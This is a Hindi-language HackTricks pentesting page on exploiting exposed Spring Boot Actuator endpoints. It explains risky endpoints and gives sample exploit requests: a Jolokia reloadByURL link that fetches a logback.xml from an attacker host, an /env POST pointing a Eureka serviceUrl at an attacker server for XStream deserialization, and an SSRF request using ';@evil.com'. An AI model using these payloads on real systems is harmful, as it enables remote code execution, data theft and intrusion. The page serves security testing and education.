Spring Actuators

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

स्प्रिंग ऑथ बायपास

से https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

स्प्रिंग बूट एक्ट्यूएटर्स का शोषण

मूल पोस्ट की जाँच करें [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

मुख्य बिंदु:

  • स्प्रिंग बूट एक्ट्यूएटर्स /health, /trace, /beans, /env आदि जैसे एंडपॉइंट्स को रजिस्टर करते हैं। संस्करण 1 से 1.4 तक, इन एंडपॉइंट्स ताकतवर प्रमाणीकरण के बिना पहुंचे जा सकते हैं। संस्करण 1.5 के बाद, केवल /health और /info डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को अक्षम कर देते हैं।

  • कुछ एक्ट्यूएटर एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाएँ संभव बना सकते हैं:

  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, और /heapdump.

  • स्प्रिंग बूट 1.x में, एक्ट्यूएटर्स मुख्य URL के तहत पंजीकृत होते हैं, जबकि 2.x में, वे /actuator/ मूल पथ के तहत होते हैं।

शोषण तकनीकें:

  1. '/jolokia' के माध्यम से दूरस्थ कोड निष्पादन:

  • /jolokia एक्ट्यूएटर एंडपॉइंट Jolokia पुस्तकालय को उजागर करता है, जो MBeans को HTTP उपयोग की अनुमति देता है।

  • reloadByURL क्रिया का शोषण किया जा सकता है ताकि बाह्य URL से लॉगिंग विन्यासों को पुनः लोड किया जा सके, जो क्राफ्टेड XML विन्यासों के माध्यम से अंधेरे XXE या दूरस्थ कोड निष्पादन तक ले जा सकता है।

  • उदाहरण शोषण URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

  1. '/env' के माध्यम से कॉन्फ़िगरेशन संशोधन:

  • यदि स्प्रिंग क्लाउड पुस्तकालय मौजूद हैं, तो /env एंडपॉइंट पर्यावरणीय गुणों का संशोधन करने की अनुमति देता है।

  • गुणों को दुर्भाग्यपूर्णताओं का शोषण करने के लिए प्रयोग किया जा सकता है, जैसे Eureka serviceURL में XStream डिसीरियलाइज़ेशन वंशानुक्रमण विकल्प।

  • उदाहरण शोषण POST अनुरोध:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. अन्य उपयोगी सेटिंग्स:

  • गुण जैसे spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, और spring.datasource.tomcat.max-active को विभिन्न शोषणों के लिए संशोधित किया जा सकता है, जैसे SQL इन्जेक्शन या डेटाबेस कनेक्शन स्ट्रिंग को बदलना।

अतिरिक्त जानकारी:

  • एक पूर्ण सूची में डिफ़ॉल्ट एक्ट्यूएटर्स यहाँ मिल सकती है।

  • स्प्रिंग बूट 2.x में /env एंडपॉइंट गुणों के संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा वही रहती है।

संबंधित विषय:

  1. Env + H2 RCE:

  • /env एंडपॉइंट और H2 डेटाबेस के संयोजन का शोषण करने के विवरण यहाँ मिल सकते हैं।

  1. गलत पथनामा व्याख्या के माध्यम से स्प्रिंग बूट पर SSRF:

  • मैट्रिक्स पैरामीटर्स (;) का स्प्रिंग फ्रेमवर्क के HTTP पथनामों में संचालन को सर्वर-साइड अनुरोध फर्जी (SSRF) के लिए शोषण किया जा सकता है।

  • उदाहरण शोषण अनुरोध:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Last updated